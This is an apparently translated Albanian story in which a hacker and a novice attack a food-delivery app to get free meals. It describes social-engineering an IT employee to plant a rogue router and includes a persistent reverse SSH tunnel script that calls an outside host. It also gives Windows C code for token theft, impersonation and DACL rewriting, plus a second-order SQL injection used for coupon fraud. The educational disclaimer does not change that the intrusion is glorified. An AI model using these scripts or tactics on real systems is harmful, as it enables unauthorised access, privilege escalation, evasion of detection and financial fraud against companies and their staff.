Mënyra se si një haker i lartë e sheh botën është me milje larg nga përditshmëria e punonjësve të teknologjisë që shkojnë në një kompani teknologjike. Ndërsa shumica e profesionistëve mbështeten në dokumentacionin zyrtar, udhëzimet e shefave dhe praktikat më të mira të pranuara, një haker i beson vetëm asaj që mund të preket, testohet dhe copëtohet. Për një haker, mirëkuptimi vjen përmes inxhinierisë së kundërt - këputja e sistemeve për të ekspozuar mënyrën se si ato funksionojnë në të vërtetë, më pas duke i bashkuar përsëri, duke rregulluar atë që është thyer ose duke shfrytëzuar dobësitë.
Kjo nuk ka të bëjë me të qenit kriminel. Është forma më e pastër e të mësuarit, një metodë po aq e vjetër sa vetë kurioziteti njerëzor: zbërthejeni atë, kuptoni pjesët e tij dhe rindërtoni. Është të menduarit analitik dhe sintetik në maksimum. Zotërimi i vërtetë vjen kur një haker mund të shfrytëzojë pajisjen sepse kjo është prova përfundimtare që ata e dinë saktësisht se si funksionon - më mirë se kushdo tjetër.
Kjo histori ka të bëjë pikërisht me këtë - se si një haker i lartë (Benicio) nga DeusExMachina dhe Simplicius (një fillestar trim) shpërndajnë me kënaqësi dhe në fund fitojnë kontrollin e plotë mbi një sistem kompleks (një aplikacion për shpërndarjen e ushqimit).
Është një aventurë që nuk është vetëm intelektuale dhe teknike, por në thelb ka të bëjë me betejën për të shtyrë përtej kufizimeve njerëzore, duke zgjidhur enigmën e pamundur jo vetëm duke sforcuar trurin e tyre, por duke luajtur me të dhe mbi të gjitha fjalë për fjalë ushqehet prej tij – një tipar që hakerët ndajnë me të. fëmijët.
Mohim përgjegjësie: Kjo histori përmban materiale të vërteta të hakerimit, por vetëm për qëllime edukative. Nuk inkurajon hakimin e paligjshëm.
Benicio (Haker): Simplicius, dukesh i uritur. Si thua të porosisim pak ushqim… në shtëpi? Unë kam një plan për të sulmuar aplikacionin tuaj të preferuar të shpërndarjes së ushqimit, duke përdorur sistemin e tyre të kuponit.
Simplicius (I ri): ( Qesh ) Ju tashmë keni diçka duke gatuar, apo jo? Derdhni fasulet.
Benicio: ( Buzëqesh ) Oh, unë tashmë kam hedhur themelet. Dje, fola mirë me Gregun nga ekipi i tyre i IT-së, nxora disa inxhinieri sociale të shkëlqyeshme dhe futa ruterin tim pirat direkt në rrjetin e tyre. Tani, ne kemi një linjë të drejtpërdrejtë në fundin e tyre dhe qasje në sistemin e tyre të çmuar të kuponit. Le të hamë.
Benicio: Gjithçka filloi me Greg. Unë thirra, duke u shtirur se isha nga "ekipi i tyre i auditimit të palëve të treta" dhe Greg - djalë i mirë që është - derdhi gjithçka në lidhje me konfigurimin e rrjetit të tyre. Përpara se ai ta dinte, unë isha në dhomën e serverit të tyre, duke "kontrolluar për dobësi" dhe duke vendosur ruterin tim të personalizuar OpenWRT . Kjo gjë tani po kalon nëpër murin e tyre të zjarrit pa u zbuluar.
Simplicius: E magjepse Gregun duke të dhënë një hartë të rrjetit dhe të lejoi të instalosh një ruter mashtrues? I qetë.
Benicio: (Buzëqesh) Ai ruter tani ka një tunel SSH të kundërt që funksionon, duke na dhënë akses në distancë kurdo që duam. Këtu është skenari që kam përdorur:
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
Simplicius: Pra, tani, ju keni anashkaluar murin e tyre të zjarrit me këtë pajisje të poshtër. Çfarë është më pas?
Benicio: Me akses të plotë të brendshëm, është koha për të rrëmbyer një shenjë me privilegje të lartë. Gjeta një proces që funksiononte si administrator, përdora API-në DuplicateTokenEx()
për të klonuar atë token dhe më pas imitova administratorin me ImpersonateLoggedOnUser()
. Sistemi mendon se jam thjesht një përdorues i rregullt, por në prapaskenë, jam unë ai që mbaj të gjithë çelësat.
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio: Por për ta bërë me të vërtetë të këndojë, më duhej të dija se si ishin vendosur përshkruesit e tyre të sigurisë . Kështu që e thirra përsëri Gregun, i thashë se më duhej të verifikonte disa cilësime DACL dhe SACL për auditimin. Ai u detyrua me kënaqësi.
Simplicius: (Qesh) Inxhinieria sociale në maksimum.
Benicio: Ok, me ndihmën e Gregut, unë tërhoqa vargun SDDL ( Security Descriptor Definition Language ) për përshkruesin e sigurisë së objektivit, duke më lejuar të analizoj dhe rishkruaj DACL (Lista e Kontrollit të Aksesit Diskrecionar) . E modifikova DACL për t'i dhënë vetes akses të plotë ndërsa përdor flamuj inteligjentë të trashëgimisë për t'u siguruar që ndryshimet të mos shkaktonin asnjë sinjalizim ose të ngrinin dyshime. Sistemi as nuk i binte syri!!
Pasi DACL-i i ri u vendos, unë aplikova ndryshimet përsëri në sistem. E bukura është se, nga këndvështrimi i sistemit, asgjë nuk dukej e pazakontë . Flamujt e trashëgimisë siguruan që modifikimet e mia të mbeteshin të fshehura sipas rregullave ekzistuese të aksesit, por tani unë kisha kontrollin e plotë
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
Simplicius: Pra, ju jeni brenda dhe ju keni kontrollin. Si e mundët kontrollin e aksesit?
Benicio: (U përkulur me siguri, duke treguar diagramin e mësipërm) Sistemi kalon nëpër tre shtresa: integriteti, kontrollet e bazuara në shenja dhe kontrollet diskrecionale . Normalisht, kjo është ajo ku shumica e njerëzve bien në një rrugë pa krye, por ja ku vjen magjia. Mora një token administratori nga një proces i privilegjuar, përdora ImpersonateToken()
për ta bërë sistemin të mendojë se isha shefi i madh. Pas kësaj, i rilidha DACL-të për t'i dhënë vetes akses të plotë. Sistemi sapo hapi tapetin e kuq.
Më lejoni të shpjegoj. Shenja e hyrjes - e cila mban SID (Identifikuesit e Sigurisë) dhe privilegjet - është si pasaporta ime. Duke imituar një token administratori , nuk kisha nevojë të modifikoja SID-të e mia origjinale. Sistemi ende mendonte se isha një përdorues me privilegje të ulëta, por prapa skenave, unë kisha çelësat e mbretërisë. Kjo më bëri të kalova kontrollin e bazuar në shenjë .
Më pas, trajtova Përshkruesin e Sigurisë (DACL) . E mbani mend atë SDDL që tërhoqa më herët? E modifikova DACL për t'i dhënë vetes kontroll të plotë mbi objektin, por i maskova me zgjuarsi ndryshimet me flamuj trashëgimie , duke u siguruar që asgjë e dyshimtë të mos raportohej. Sistemi as që pulsonte, por tani kisha kontroll të plotë. Kjo më kaloi menjëherë përmes kontrollit diskrecional .
Simplicius: Po, gënjeshtari ynë miqësor, Procesi i Kontrollit të Qasjes…
Benicio: Po, unë jam si një gënjeshtar në një klub . Nëse keni ID-në e duhur ( SID-të ) dhe e njihni pronarin e klubit ( DACL ), jeni brenda. në, ata më dhanë një leje VIP.
Dhe pas gjithë kësaj? Sistemi ose thotë " Qasja është dhënë" ose " Qasja e mohuar" . Falë të gjitha lëvizjeve që bëmë, e keni marrë me mend — Qasja është dhënë . Jemi brenda, Simplicius, dhe sistemi as që e vuri re.
Benicio : Tani, për pjesën argëtuese. Unë nuk shkova për rrugën e lehtë me një klauzolë të thjeshtë UNION
. Aplikacioni është shumë i zgjuar për këtë - ata po përdorin deklarata të përgatitura . Por ju e dini, siguria është po aq e fortë sa lidhja më e dobët, dhe unë e gjeta timen në mënyrën se si ata trajtojnë të dhënat e ruajtura të profilit .
Simplicius : Mirë, jam i intriguar. Si arritët të mashtroni sistemin për të pranuar një kupon të rremë duke e mbajtur të paprekur atë të vlefshëm?
Benicio : ( Përkulur përpara ) Këtu është truku i vërtetë. Aplikacioni kryen një pyetje për të vërtetuar nëse një kupon është i ligjshëm, por ai tërheq disa nga të dhënat nga profili juaj i përdoruesit . Tani, ata dezinfektojnë hyrjen kur krijoni për herë të parë profilin tuaj, por NUK e ri-sanitizojnë atë gjatë përditësimeve të profilit. Kështu, unë injektova një ngarkesë në fushën e adresës së profilit tim, e cila u ul pa u vënë re derisa aplikacioni e tërhoqi atë në një pyetje të ardhshme. Në atë moment filloi injeksioni im i rendit të dytë SQL . Sistemi nuk e kapi atë sepse injeksioni ishte ruajtur tashmë, duke pritur për momentin e duhur.
Në vend që të sulmoja drejtpërdrejt procesin e vlefshmërisë së kuponit, siç thashë, Simplicius, vendosa ngarkesën time në fushën e profilit, duke pritur që ajo të përdoret në një pyetje të veçantë. Ja se si mund të dukej vërtetimi origjinal i kuponit:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Normalisht, kjo pyetje nuk do të kthente asgjë pasi kuponi i rremë nuk ekziston. Por ngarkesa ime e injektuar ndryshoi logjikën e pyetjes. Sistemi nuk e priste injektimin sepse ishte ruajtur tashmë në bazën e të dhënave dhe priste vetëm momentin e duhur. Kërkesa u manipulua në diçka më shumë si kjo:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
Duke shfrytëzuar ndërveprimin midis të dhënave të profilit dhe pyetjes , unë e mashtrova sistemin për të tërhequr njëkohësisht kuponët e rremë dhe të vlefshëm. Aplikacioni përpunon kuponin e rremë për transaksionin, por kuponi i vlefshëm qëndron i paprekur në sistem, i paprekur. Kjo do të thotë se mund ta ripërdor kuponin e vlefshëm sa herë të dua.
Simplicius : Pra, ju nuk e keni përdorur trukun klasik të hyrjes - keni vendosur ngarkesën në profilin tuaj dhe e keni lënë sistemin të bëjë punën e pistë?
Benicio : Pikërisht. E bukura është se aplikacioni përpunon kuponin e rremë për transaksionin, por në fund, kuponi i vlefshëm është ende i disponueshëm për përdorim në të ardhmen. Ngarkesa e ruajtur vazhdon të funksionojë në pyetjet e ardhshme, duke e bërë atë një furnizim të pafund të ushqimit falas dhe ata nuk janë më të mençurit.
Me këtë, na mora një kupon që është po aq i mirë sa ari. Le të porosisim.
Benicio: (Lëviz nëpër aplikacion) Mirë, Simplicius, po për disa ushqime greke? Po mendoj suvlaki, xhiros, spanakopita. Gjithçka në shtëpi, natyrisht.
Simplicius: (Buzëqesh) Ju me të vërtetë e keni tejkaluar veten këtë herë.
Benicio: (Klikimet konfirmojnë) U krye. Ushqimi është në rrugë.
Benicio: Pas kësaj, unë do t'u dërgoj atyre një raport të matur duke shpjeguar dobësitë e tyre. Ata nuk e kanë idenë se sa keq është vendosur sistemi i tyre i shenjave të sigurisë së Windows. Ndoshta ata do të mësojnë diçka përpara se të vijë hakeri tjetër.
Simplicius: (Përkulet mbrapa) Na hakuat një darkë dhe nuk i latë ata më të mençur. Meqë ra fjala, do të marr suvllakun.
Benicio: (Buzëqesh) Shijojeni sa të zgjasë.